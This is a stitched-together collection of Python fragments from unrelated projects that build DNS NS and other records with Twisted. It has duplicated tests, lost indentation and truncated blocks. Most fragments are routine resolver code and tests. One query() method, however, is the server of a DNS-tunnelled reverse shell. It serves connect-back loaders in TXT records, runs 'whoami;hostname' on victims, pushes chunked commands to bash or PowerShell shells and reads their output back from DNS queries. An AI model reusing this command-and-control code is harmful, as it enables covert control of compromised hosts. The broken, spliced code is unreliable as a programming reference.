def testSomeRecordsWithTTLs(self):
result_soa = copy.copy(my_soa)
result_soa.ttl = my_soa.expire
return self.namesTest(
self.resolver.lookupAllRecords('my-domain.com'),
[result_soa,
dns.Record_A('1.2.3.4', ttl='1S'),
dns.Record_NS('ns1.domain', ttl='2M'),
dns.Record_NS('ns2.domain', ttl='3H'),
dns.Record_SRV(257, 16383, 43690, 'some.other.place.fool', ttl='4D')]
)
def test_someRecordsWithTTLs(self):
result_soa = copy.copy(my_soa)
result_soa.ttl = my_soa.expire
return self.namesTest(
self.resolver.lookupAllRecords("my-domain.com"),
[
result_soa,
dns.Record_A("1.2.3.4", ttl="1S"),
dns.Record_NS("ns1.domain", ttl="2M"),
dns.Record_NS("ns2.domain", ttl="3H"),
dns.Record_SRV(
257, 16383, 43690, "some.other.place.fool", ttl="4D"),
],
)
def get(self, name, default=tuple()):
# Return NS entries
log.info("Original '{name}'", name=name)
if name == self.base:
return (dns.Record_NS(self.base,
ttl=604800), ) + self.extra_records
if not name.endswith(self.base):
return default
try:
# Remove base name and trailing dot
local_name = name[:-len(self.base) - 1]
# ip_address handles bytes as a big integer, need str
_name = local_name.decode('utf-8')
# Try to handle other representations for IPv6
if "-" in _name or _name.count(".") > 3:
_name = _name.replace("-", ":").replace(".", ":")
# Try to read an IP address out of this
ip = ip_address(_name)
except:
# If any of that goes wrong, return NX
return default
try:
if ip.version == 6:
record = dns.Record_AAAA(address=ip.exploded, ttl=604800)
elif ip.version == 4:
record = dns.Record_A(address=ip.exploded, ttl=604800)
else:
raise NotImplementedError("What's dis? v8?")
except:
return default
return (record, )
def _lookup(self, name, cls, type, timeout):
log.msg("Looking up type %s records for hostname: %s" % (type, name))
all_types = self.names.lookup(name, type)
results = []
authority = []
additional = []
if len(all_types) > 0:
log.msg("Got results.")
else:
log.msg("No results.")
for type, records in all_types.items():
for data, metadata in records.items():
if type == A:
payload = dns.Record_A(data)
elif type == CNAME:
# TODO: Add proper CNAME support that sends corresponding "A" records.
payload = dns.Record_CNAME(data)
elif type == MX:
payload = dns.Record_MX(metadata["preference"], data)
elif type == NS:
payload = dns.Record_NS(data)
header = dns.RRHeader(name,
type=type,
payload=payload,
ttl=metadata["ttl"],
auth=True)
results.append(header)
return defer.succeed((results, authority, additional))
def __parseLine(self, line):
tokens = line.split(None, 2)
# reject if incorrectly formatted.
if len(tokens) != 3:
raise RuntimeError(
"line '%s': wrong # of tokens %d." %(line, len(tokens)))
rname, rtype, rvalue = tokens
# # if rvalue is a list, make sure to store it as one!
if rvalue.startswith("["):
rvalue = json.loads(rvalue)
# create correct payload
payload = None
if rtype == "A":
payload = dns.Record_A(address=rvalue)
elif rtype == "CNAME":
payload = dns.Record_CNAME(name=rvalue)
elif rtype == "MX":
payload = dns.Record_MX(name=rvalue[0],
preference=int(rvalue[1]))
elif rtype == "NS":
payload = dns.Record_NS(name=rvalue)
elif rtype == "SOA":
payload = dns.Record_SOA(mname=rvalue[0], rname=rvalue[1])
elif rtype == "TXT":
payload = dns.Record_TXT(data=[rvalue])
else:
raise "cannot parse line!"
return dns.RRHeader(name=rname,
type=self.__query_types[rtype],
payload=payload,
ttl=0) # set TTL to 0 for now so that we can
def test_ns(self):
"""
The repr of a L{dns.Record_NS} instance includes the name of the
nameserver and the TTL of the record.
"""
self.assertEqual(repr(dns.Record_NS('example.com', 4321)),
"<NS name=example.com ttl=4321>")
def test_recordMissing(self):
"""
If a L{FileAuthority} has a zone which includes an I{NS} record for a
particular name and that authority is asked for another record for the
same name which does not exist, the I{NS} record is not included in the
authority section of the response.
"""
authority = NoFileAuthority(
soa=(soa_record.mname.name, soa_record),
records={
soa_record.mname.name: [
soa_record,
dns.Record_NS("1.2.3.4"),
]
},
)
answer, authority, additional = self.successResultOf(
authority.lookupAddress(soa_record.mname.name))
self.assertEqual(answer, [])
self.assertEqual(
authority,
[
dns.RRHeader(
soa_record.mname.name,
soa_record.TYPE,
ttl=soa_record.expire,
payload=soa_record,
auth=True,
)
],
)
self.assertEqual(additional, [])
def _referralTest(self, method):
"""
Create an authority and make a request against it. Then verify that the
result is a referral, including no records in the answers or additional
sections, but with an I{NS} record in the authority section.
"""
subdomain = b"example." + soa_record.mname.name
nameserver = dns.Record_NS("1.2.3.4")
authority = NoFileAuthority(
soa=(soa_record.mname.name, soa_record),
records={subdomain: [
nameserver,
]},
)
d = getattr(authority, method)(subdomain)
answer, authority, additional = self.successResultOf(d)
self.assertEqual(answer, [])
self.assertEqual(
authority,
[
dns.RRHeader(
subdomain,
dns.NS,
ttl=soa_record.expire,
payload=nameserver,
auth=False,
)
],
)
self.assertEqual(additional, [])
def _referralTest(self, method):
"""
Create an authority and make a request against it. Then verify that the
result is a referral, including no records in the answers or additional
sections, but with an I{NS} record in the authority section.
"""
subdomain = 'example.' + str(soa_record.mname)
nameserver = dns.Record_NS('1.2.3.4')
authority = NoFileAuthority(soa=(str(soa_record.mname), soa_record),
records={subdomain: [
nameserver,
]})
d = getattr(authority, method)(subdomain)
result = []
d.addCallback(result.append)
answer, authority, additional = result[0]
self.assertEqual(answer, [])
self.assertEqual(authority, [
dns.RRHeader(subdomain,
dns.NS,
ttl=soa_record.expire,
payload=nameserver,
auth=False)
])
self.assertEqual(additional, [])
def setUp(self):
self.results = None
self.d = defer.Deferred()
self.d.addCallback(self._gotResults)
self.controller = client.AXFRController('fooby.com', self.d)
self.soa = dns.RRHeader(name='fooby.com', type=dns.SOA, cls=dns.IN, ttl=86400, auth=False,
payload=dns.Record_SOA(mname='fooby.com',
rname='hooj.fooby.com',
serial=100,
refresh=200,
retry=300,
expire=400,
minimum=500,
ttl=600))
self.records = [
self.soa,
dns.RRHeader(name='fooby.com', type=dns.NS, cls=dns.IN, ttl=700, auth=False,
payload=dns.Record_NS(name='ns.twistedmatrix.com', ttl=700)),
dns.RRHeader(name='fooby.com', type=dns.MX, cls=dns.IN, ttl=700, auth=False,
payload=dns.Record_MX(preference=10, exchange='mail.mv3d.com', ttl=700)),
dns.RRHeader(name='fooby.com', type=dns.A, cls=dns.IN, ttl=700, auth=False,
payload=dns.Record_A(address='64.123.27.105', ttl=700)),
self.soa
]
def lookupNameservers(self, name, timeout=None):
""" Answer NS record requests """
name_is_self = name in [self.wildcard_domain, self.ns_domain]
if name.endswith('.' + self.wildcard_domain) or name_is_self:
# If we're responsible for this domain, return NS records
payload = dns.Record_NS(name=self.ns_domain)
answer = dns.RRHeader(name=name,
type=dns.NS,
payload=payload,
auth=True,
ttl=TTL)
# Additional section: NS ip address
additional_payload = dns.Record_A(address=self.my_ip)
additional_answer = dns.RRHeader(name=name,
payload=additional_payload,
ttl=TTL)
answers = [answer]
authority = []
additional = [additional_answer]
return defer.succeed((answers, authority, additional))
# fail for domains that are not handled by our server
return defer.fail(failure.Failure(dns.AuthoritativeDomainError(name)))
def get(self, name, default=tuple()):
# Return NS entries
if name == self.base:
return (dns.Record_NS(self.base, ttl=TTL),) + self.extra_records
if not name.endswith(self.base):
return default
# Remove base name
local_name = name[: -len(self.base)]
# Ensure trailing dot
if local_name[-1:] != b".":
return default
# Remove trailing dot.
local_name = local_name[:-1]
try:
address = WordsController.words_to_IP(self.base, local_name)
log.debug(
"Got {address} for {name}", address=address, name=name,
)
if address.version == 6:
record = dns.Record_AAAA(address=address.compressed, ttl=TTL)
elif address.version == 4:
record = dns.Record_A(address=address.compressed, ttl=TTL)
else:
raise NotImplementedError("Unknown version {}".format(address.version))
except:
return default
return (record,)
def test_recordMissing(self):
"""
If a L{FileAuthority} has a zone which includes an I{NS} record for a
particular name and that authority is asked for another record for the
same name which does not exist, the I{NS} record is not included in the
authority section of the response.
"""
authority = NoFileAuthority(soa=(str(soa_record.mname), soa_record),
records={
str(soa_record.mname): [
soa_record,
dns.Record_NS('1.2.3.4'),
]
})
d = authority.lookupAddress(str(soa_record.mname))
result = []
d.addCallback(result.append)
answer, authority, additional = result[0]
self.assertEqual(answer, [])
self.assertEqual(authority, [
dns.RRHeader(str(soa_record.mname),
soa_record.TYPE,
ttl=soa_record.expire,
payload=soa_record,
auth=True)
])
self.assertEqual(additional, [])
def packResultNS(value):
ret = []
for x in value:
ret.append(
dns.RRHeader(name, dns.NS, dns.IN, ttl,
dns.Record_NS(x, ttl), True))
return [ret, (), ()]
def test_noAnswer(self):
"""
If a request returns a L{dns.NS} response, but we can't connect to the
given server, the request fails with the error returned at connection.
"""
def query(self, *args):
# Pop from the message list, so that it blows up if more queries
# are run than expected.
return succeed(messages.pop(0))
def queryProtocol(self, *args, **kwargs):
return defer.fail(socket.gaierror("Couldn't connect"))
resolver = Resolver(servers=[('0.0.0.0', 0)])
resolver._query = query
messages = []
# Let's patch dns.DNSDatagramProtocol.query, as there is no easy way to
# customize it.
self.patch(dns.DNSDatagramProtocol, "query", queryProtocol)
records = [
dns.RRHeader(name='fooba.com', type=dns.NS, cls=dns.IN, ttl=700,
auth=False,
payload=dns.Record_NS(name='ns.twistedmatrix.com',
ttl=700))]
m = dns.Message(id=999, answer=1, opCode=0, recDes=0, recAv=1, auth=1,
rCode=0, trunc=0, maxSize=0)
m.answers = records
messages.append(m)
return self.assertFailure(
resolver.getHostByName("fooby.com"), socket.gaierror)
def generateAnswerRecordPayload(self, qtype_string, record_value):
payload = None
if qtype_string == 'A':
payload = dns.Record_A(address=record_value)
elif qtype_string == 'AAAA':
payload = dns.Record_AAAA(address=record_value)
elif qtype_string == 'MX':
payload = dns.Record_MX(name=record_value)
elif qtype_string == 'NS':
payload = dns.Record_NS(name=record_value)
elif qtype_string == 'MD':
raise NotImplementedError()
elif qtype_string == 'MF':
raise NotImplementedError()
elif qtype_string == 'CNAME':
raise NotImplementedError()
elif qtype_string == 'SOA':
raise NotImplementedError()
elif qtype_string == 'MB':
raise NotImplementedError()
elif qtype_string == 'MG':
raise NotImplementedError()
elif qtype_string == 'MR':
raise NotImplementedError()
elif qtype_string == 'NULL':
raise NotImplementedError()
elif qtype_string == 'WKS':
raise NotImplementedError()
elif qtype_string == 'PTR':
raise NotImplementedError()
elif qtype_string == 'HINFO':
raise NotImplementedError()
elif qtype_string == 'MINFO':
raise NotImplementedError()
elif qtype_string == 'TXT':
raise NotImplementedError()
elif qtype_string == 'RP':
raise NotImplementedError()
elif qtype_string == 'AFSDB':
raise NotImplementedError()
elif qtype_string == 'SRV':
raise NotImplementedError()
elif qtype_string == 'NAPTR':
raise NotImplementedError()
elif qtype_string == 'A6':
raise NotImplementedError()
elif qtype_string == 'DNAME':
raise NotImplementedError()
elif qtype_string == 'OPT':
raise NotImplementedError()
elif qtype_string == 'SPF':
raise NotImplementedError()
else:
raise RuntimeError(
"DNSReplyGenerator: received request to generate"
" DNS query type {}.".format(qtype))
return payload
def _Record_NS(self, query):
answers = []
for nameserver in self.lookup_result['nameservers'].split(','):
answers.append(dns.RRHeader(
name=query.name.name, type=query.type,
payload=dns.Record_NS(name=nameserver,
ttl=5), auth=True))
return answers, [], []
def query(self, query, timeout=None):
if query.type == dns.A:
answer = dns.RRHeader(
name=query.name.name,
payload=dns.Record_A(address='1.2.3.4'))
elif query.type == dns.NS:
answer = dns.RRHeader(
name=query.name.name,
payload=dns.Record_NS(name="ns1.foobar.com"))
return defer.succeed(([answer], [], []))
def _doDynamicResponse(self, query):
"""
Calculate the response to a query.
"""
name = query.name.name
answers = [
dns.RRHeader(
name=name,
type=dns.CNAME,
payload=dns.Record_CNAME(
name=self.cname,
),
),
dns.RRHeader(
name=name,
type=dns.SOA,
payload=dns.Record_SOA(
serial=2018101700,
refresh=10800,
minimum=86400,
expire=604800,
retry=2000,
),
),
dns.RRHeader(
name=name,
type=dns.NS,
payload=dns.Record_NS(
name=self.nameserver1,
),
),
dns.RRHeader(
name=name,
type=dns.NS,
payload=dns.Record_NS(
name=self.nameserver2,
),
),
]
authority = []
additional = []
return answers, authority, additional
def _do_NS_response(self, name=None):
answer = dns.RRHeader(name=name,
payload=dns.Record_NS(ttl=10,
name=b'ns1.' + name),
type=dns.NS)
additional = dns.RRHeader(name=b'ns1.' + name,
payload=dns.Record_A(
ttl=10, address=config.PUBLIC_IP),
type=dns.A)
answers = [answer]
authority = []
additional = [additional]
return answers, authority, additional
def _do_ns_response(self, name=None):
"""
Calculate the response to a query.
"""
answer = dns.RRHeader(name=name,
payload=dns.Record_NS(ttl=10,
name='ns1.' + name),
type=dns.NS)
additional = dns.RRHeader(name='ns1.' + name,
payload=dns.Record_A(
ttl=10, address=settings.PUBLIC_IP),
type=dns.A)
answers = [answer]
authority = []
additional = [additional]
return answers, authority, additional
def lookupNameservers(self, name, timeout=None):
name = name.decode().lower()
log.info('ns {}'.format(name))
if name != self._wc_domain:
log.debug('fallback ns {}'.format(name))
return super().lookupNameservers(name, timeout)
records = self._localLookup('_NS')
if not records:
log.debug('fallback ns {}'.format(name))
return super().lookupNameservers(name, timeout)
answer = []
for record in records:
payload = dns.Record_NS(name=record, ttl=3600)
answer.append(dns.RRHeader(name=name, type=dns.NS, payload=payload))
return defer.succeed((answer, [], []))
def update_records(self):
resolvers = []
self._da = {}
for z,zd in self._data["zones"].items():
soa = dns.Record_SOA(
mname=zd["server_name"],
rname="root." + z, # what is this for?
serial=1, # must be int, fit in struct.pack("L") so 32-bits
refresh="1M",
retry="1M",
expire="1M",
minimum="1M",
)
ns = dns.Record_NS(zd["server_name"])
records = {
z: [soa, ns],
}
da = DynamicAuthority(z, soa, records)
resolvers.append(da)
self._authorities[z] = da
print(self._dns_server.resolver)
self._dns_server.resolver = ResolverChain(resolvers)
def query(self, query, timeout=None):
answers = []
additional = []
authority = []
chunk_cmd = ""
direct = None
#8.8.8.8 returns at most 14 txt records per query.
page_size = 14
shell_type = "bash"
query_name = query.name.name
#query_type = dns.QUERY_TYPES[query.type]
triggered_payload = False
cmd_runner = False
#This is an alternate injection
#Some sh connectbacks may need this padding.
if query_name.startswith("{echo,'"):
query_name=query_name[7:]
shell_type = "sh"
#strip of the hostname for this message
if query_name.endswith(self.hostname):
name_parts = query_name[0:len(query_name)-len(self.hostname)].split(".")
#A direct connection must end with our hostname
direct = False
else:
#This is direct because it could not have used an open resolver
name_parts = query_name.strip(".").split('.')
direct = True
#have we seen this session before?
sess_id = self.session.get_session(name_parts[0])
#Clients need to resolve the address of this server - here is our root
if query.type == dns.A:
#Resolve this server's A record.
cmd_server = dns.RRHeader(
name=query.name.name,
type=dns.A,
auth=True,
payload=dns.Record_A(address=self.ip, ttl=0))
answers.append(cmd_server)
if not sess_id:
log("", "", "query", str(datetime.datetime.now())+","+query.name.name+"\n")
elif query.type == dns.NS:
#Resolve this server's NS record
cmd_server = dns.RRHeader(
name=query.name.name,
type=dns.NS,
auth=True,
payload=dns.Record_NS(self.hostname, ttl=0))
answers.append(cmd_server)
#for debugging open resolvers
#size.x to find the max number of txt records returned.
elif query.type == dns.TXT and query.name.name.startswith("size"):
try:
txt_count = int(query.name.name.split(".")[-1])
except:
txt_count = 1
#Resolve this server's NS record
cmd_server = dns.RRHeader(
name=query.name.name,
type=dns.TXT,
auth=True,
payload=dns.Record_TXT("a" * 255, ttl=0))
for i in range(txt_count):
answers.append(cmd_server)
#We are only checking the size.
return defer.succeed((answers, authority, additional))
if not sess_id:
if len(name_parts) > 0:
if name_parts[0] in self.session.keyspace:
#We don't have this session, and it looks like the key will work as a session id.
sess_id = self.session.new(name_parts[0])
else:
sess_id = self.session.new()
#Did a known payload trigger this request?
triggered_payload = self.loader.get_payload(name_parts[0])
if triggered_payload:
self.session.set_data(sess_id, "payload", triggered_payload)
trigger_lower = triggered_payload.lower()
if trigger_lower.find("bash") >= 0:
shell_type = "bash"
elif trigger_lower.find("sh") >= 0:
shell_type = "sh"
elif trigger_lower.find("perl") >= 0:
shell_type = "perl"
elif trigger_lower.find("cmd") >= 0:
shell_type = "cmd"
elif trigger_lower.find("powershell") >= 0:
shell_type = "ps1"
else:
self.session.set_data(sess_id, "payload", query.name.name)
self.session.set_data(sess_id, "direct", direct)
#Direct connections do not have a protocol level limit of the number of results.
#This cap depends on the implementation of nslookup.
self.session.set_data(sess_id, "shell_type", shell_type)
else:
#Is this a direct connection?
direct = self.session.get_data(sess_id, "direct")
shell_type = self.session.get_data(sess_id, "shell_type")
page_size = self.session.get_data(sess_id, "page_size")
#These messages conditions need to be checked in all phases of the session
if self.session.check_exit(sess_id):
#send exit code
cmd_runner = "e=1"
elif not self.session.get_data(sess_id, "host") and direct == None:
#lets try a direct payload
direct_sess_id = self.session.new()
self.loader.get_connect(direct_sess_id, True, shell_type)
self.session.set_data(direct_sess_id, "direct", True)
self.session.set_data(direct_sess_id, "shell_type", shell_type)
self.session.set_data(sess_id, "direct", False)
cmd_runner = self.loader.get_connect(direct_sess_id, True, shell_type)
elif not self.session.get_data(sess_id, "host"):
#Reqeust the machine_id for this new session.
cmd = "eval 'whoami;hostname'"
cmd_runner = self.loader.get_runner(sess_id, cmd, direct, shell_type)
if not self.session.get_data(sess_id, "host"):
#If we haven't seen this session before, then we need some kind of identificaiton.
if len(name_parts) > 1:
data = query_name
data = "".join(name_parts[1:])
try:
#Look for a single-block message that contains two newline-seperated elements
machine_id = base64.b64decode(data).strip()
machine_id = machine_id.split("\n")
except:
machine_id = False
if machine_id and len(machine_id) == 2:
new_host = machine_id[1]
new_user = machine_id[0]
if self.session.new_machine(sess_id, new_user, new_host):
message = "new Session: " + sess_id + " - " + new_user + "@"+ new_host +" - payload: " + self.session.get_data(sess_id, "payload")
print("\n"+message)
log(sess_id, new_host, new_user, message+"\n")
else:
print("\nkilled duplicate: " + sess_id + " - payload: " + self.session.get_data(sess_id, "payload") + " - restart nsshell if this was a mistake.")
#we have tried to exit this host but it reconnected.
self.session.send_exit(sess_id)
name_parts = []
else:
#Send commands
if query.type == dns.TXT:
chunk_cmd = self.session.get_data(sess_id, "chunk_cmd")
if not chunk_cmd:
cmd = self.session.get_motd(sess_id)
else:
cmd = False
if self.session.get_data(sess_id, "last_read") != 0 and self.session.clear_read(sess_id):
#end of read for a command.
self.session.indicator(sess_id)
self.session.set_data(sess_id, "currently_receiving", False)
if cmd and (cmd.lstrip().startswith("cd ") or cmd.lstrip().startswith("eval ") or cmd.lstrip().startswith("export ")):
#This command _is_ a true eval
if cmd.lstrip().startswith("eval "):
cmd = cmd[5:]
#pipes spawn a sub-shell which breaks cd, and 'cd' doesn't return anything anyway.
#eval the raw command
cmd_runner = cmd
self.session.indicator(sess_id)
elif cmd:
cmd_runner = self.loader.get_runner(sess_id, cmd, direct, shell_type)
if len(cmd_runner) > 255:
chunk_cmd = base64.b64encode(cmd)
self.session.set_data(sess_id, "chunk_cmd", chunk_cmd)
self.session.set_data(sess_id, "chunk_offset", 0)
cmd_runner = ""
self.send_chunks(sess_id, answers, query.name.name, direct, shell_type, page_size)
#Did we get data back from the client?
elif len(name_parts) > 1 and len(name_parts[1]) > 2 and name_parts[0][2:].isdigit():
sequence_number = int(name_parts[0][2:])
data = "".join(name_parts[1:])
self.session.add_buffer(sess_id, sequence_number, data)
#Only print stdout if the user is watching.
if self.session.current_session == sess_id:
std_data = self.session.read_stdout(sess_id)
sys.stdout.write(std_data)
if chunk_cmd:
#We still have data, send more pages
self.send_chunks(sess_id, answers, query.name.name, direct, shell_type, page_size)
elif cmd_runner:
if len(cmd_runner) >= 255:
#Should never happen unless there is a bug with the runner
print("cmd runner too large:"+str(len(cmd_runner))+">255")
return
#We have a new command
send_commanad = dns.RRHeader(
name=query.name.name,
type=dns.TXT,
payload=dns.Record_TXT(cmd_runner,ttl=0))
answers.append(send_commanad)
elif not self.session.get_data(sess_id, "host"):
full_connect = self.loader.get_connect(sess_id, direct, shell_type)
if len(full_connect) > 255:
print('{0} connect payload too large.'.format(len(full_connect)))
else:
if len(full_connect) > 255:
#should never happen unless there is a bug with the connect back
print("connectback too large:"+str(len(full_connect))+">255")
return
#send packaged command to the client
connect_back_loader=dns.RRHeader(
name=query.name.name,
type=dns.TXT,
payload=dns.Record_TXT(full_connect))
#"{echo,'"
answers.append(connect_back_loader)
sys.stdout.flush()
return defer.succeed((answers, authority, additional))
def test_N_record_response(self):
f = self._getDNSFactory()
h = self._getRRHeader(dns.NS, dns.Record_NS(name=b'ns.foobar.com'))
s = f.getDNSAnswerRecordLog(h)
self.assertEqual('NS - foobar.com - ns.foobar.com', s)
def testNameserver(self):
"""Test DNS 'NS' record queries"""
return self.namesTest(
self.resolver.lookupNameservers('test-domain.com'),
[dns.Record_NS('39.28.189.39', ttl=19283784)])
mname='my-domain.com',
rname='postmaster.test-domain.com',
serial=130,
refresh=12345,
minimum=1,
expire=999999,
retry=100,
)
test_domain_com = NoFileAuthority(
soa=('test-domain.com', soa_record),
records={
'test-domain.com': [
soa_record,
dns.Record_A('127.0.0.1'),
dns.Record_NS('39.28.189.39'),
dns.Record_SPF('v=spf1 mx/30 mx:example.org/30 -all'),
dns.Record_SPF('v=spf1 +mx a:\0colo',
'.example.com/28 -all not valid'),
dns.Record_MX(10, 'host.test-domain.com'),
dns.Record_HINFO(os='Linux', cpu='A Fast One, Dontcha know'),
dns.Record_CNAME('canonical.name.com'),
dns.Record_MB('mailbox.test-domain.com'),
dns.Record_MG('mail.group.someplace'),
dns.Record_TXT('A First piece of Text', 'a SecoNd piece'),
dns.Record_A6(0, 'ABCD::4321', ''),
dns.Record_A6(12, '0:0069::0', 'some.network.tld'),
dns.Record_A6(8, '0:5634:1294:AFCB:56AC:48EF:34C3:01FF',
'tra.la.la.net'),
dns.Record_TXT('Some more text, haha! Yes. \0 Still here?'),
dns.Record_MR('mail.redirect.or.whatever'),
def __build_answer(self,
query,
db_zone,
db_record,
is_conditional_response=False):
record = None
# Calculate the query type (in case it's a request for A but a CNAME is returned).
query_type = REV_TYPES[db_record.type]
if query_type == dns.A:
record = dns.Record_A(address=db_record.property(
'address', conditional=is_conditional_response),
ttl=db_record.ttl)
elif query_type == dns.AAAA:
record = dns.Record_AAAA(address=db_record.property(
'address', conditional=is_conditional_response),
ttl=db_record.ttl)
elif query_type == dns.AFSDB:
record = dns.Record_AFSDB(subtype=int(
db_record.property('subtype',
conditional=is_conditional_response)),
hostname=db_record.property(
'hostname',
conditional=is_conditional_response))
elif query_type == dns.CNAME:
record = dns.Record_CNAME(name=db_record.property(
'name', conditional=is_conditional_response),
ttl=db_record.ttl)
elif query_type == dns.DNAME:
record = dns.Record_DNAME(name=db_record.property(
'name', conditional=is_conditional_response),
ttl=db_record.ttl)
elif query_type == dns.HINFO:
record = dns.Record_HINFO(
cpu=db_record.property(
'cpu', conditional=is_conditional_response).encode(),
os=db_record.property(
'os', conditional=is_conditional_response).encode())
elif query_type == dns.MX:
record = dns.Record_MX(preference=int(
db_record.property('preference',
conditional=is_conditional_response)),
name=db_record.property(
'name',
conditional=is_conditional_response))
elif query_type == dns.NAPTR:
record = dns.Record_NAPTR(
order=int(
db_record.property('order',
conditional=is_conditional_response)),
preference=int(
db_record.property('preference',
conditional=is_conditional_response)),
flags=db_record.property(
'flags', conditional=is_conditional_response).encode(),
service=db_record.property(
'service', conditional=is_conditional_response).encode(),
regexp=db_record.property(
'regexp', conditional=is_conditional_response).encode(),
replacement=db_record.property(
'replacement', conditional=is_conditional_response))
elif query_type == dns.NS:
record = dns.Record_NS(name=db_record.property(
'name', conditional=is_conditional_response),
ttl=db_record.ttl)
elif query_type == dns.PTR:
record = dns.Record_PTR(name=db_record.property(
'name', conditional=is_conditional_response),
ttl=db_record.ttl)
elif query_type == dns.RP:
record = dns.Record_RP(
mbox=db_record.property('mbox',
conditional=is_conditional_response),
txt=db_record.property('txt',
conditional=is_conditional_response))
elif query_type == dns.SOA:
record = dns.Record_SOA(
mname=db_record.property('mname',
conditional=is_conditional_response),
rname=db_record.property('rname',
conditional=is_conditional_response),
serial=int(
db_record.property('serial',
conditional=is_conditional_response)),
refresh=int(
db_record.property('refresh',
conditional=is_conditional_response)),
retry=int(
db_record.property('retry',
conditional=is_conditional_response)),
expire=int(
db_record.property('expire',
conditional=is_conditional_response)),
minimum=int(
db_record.property('minimum',
conditional=is_conditional_response)))
elif query_type == dns.SPF:
record = dns.Record_SPF(
db_record.property(
'data', conditional=is_conditional_response).encode())
elif query_type == dns.SRV:
record = dns.Record_SRV(
priority=int(
db_record.property('priority',
conditional=is_conditional_response)),
port=int(
db_record.property('port',
conditional=is_conditional_response)),
weight=int(
db_record.property('weight',
conditional=is_conditional_response)),
target=db_record.property('target',
conditional=is_conditional_response))
elif query_type == dns.SSHFP:
record = dns.Record_SSHFP(
algorithm=int(
db_record.property('algorithm',
conditional=is_conditional_response)),
fingerprintType=int(
db_record.property('fingerprint_type',
conditional=is_conditional_response)),
fingerprint=db_record.property(
'fingerprint',
conditional=is_conditional_response).encode())
elif query_type == dns.TSIG:
record = dns.Record_TSIG(
algorithm=db_record.property(
'algorithm', conditional=is_conditional_response).encode(),
timeSigned=int(
db_record.property('timesigned',
conditional=is_conditional_response)),
fudge=int(
db_record.property('fudge',
conditional=is_conditional_response)),
originalID=int(
db_record.property('original_id',
conditional=is_conditional_response)),
MAC=db_record.property(
'mac', conditional=is_conditional_response).encode(),
otherData=db_record.property(
'other_data',
conditional=is_conditional_response).encode())
elif query_type == dns.TXT:
record = dns.Record_TXT(
db_record.property(
'data', conditional=is_conditional_response).encode())
else:
pass
if not record:
return None
answer = dns.RRHeader(name=query.name.name,
type=query_type,
cls=query.cls,
ttl=db_record.ttl,
payload=record)
return answer
mname="my-domain.com",
rname=b"postmaster.test-domain.com",
serial=130,
refresh=12345,
minimum=1,
expire=999999,
retry=100,
)
test_domain_com = NoFileAuthority(
soa=(b"test-domain.com", soa_record),
records={
b"test-domain.com": [
soa_record,
dns.Record_A(b"127.0.0.1"),
dns.Record_NS(b"39.28.189.39"),
dns.Record_SPF(b"v=spf1 mx/30 mx:example.org/30 -all"),
dns.Record_SPF(b"v=spf1 +mx a:\0colo",
b".example.com/28 -all not valid"),
dns.Record_MX(10, "host.test-domain.com"),
dns.Record_HINFO(os=b"Linux", cpu=b"A Fast One, Dontcha know"),
dns.Record_CNAME(b"canonical.name.com"),
dns.Record_MB(b"mailbox.test-domain.com"),
dns.Record_MG(b"mail.group.someplace"),
dns.Record_TXT(b"A First piece of Text", b"a SecoNd piece"),
dns.Record_A6(0, b"ABCD::4321", b""),
dns.Record_A6(12, b"0:0069::0", b"some.network.tld"),
dns.Record_A6(8, b"0:5634:1294:AFCB:56AC:48EF:34C3:01FF",
b"tra.la.la.net"),
dns.Record_TXT(b"Some more text, haha! Yes. \0 Still here?"),
dns.Record_MR(b"mail.redirect.or.whatever"),
def test_nameserver(self):
"""Test DNS 'NS' record queries"""
return self.namesTest(
self.resolver.lookupNameservers("test-domain.com"),
[dns.Record_NS("39.28.189.39", ttl=19283784)],
)
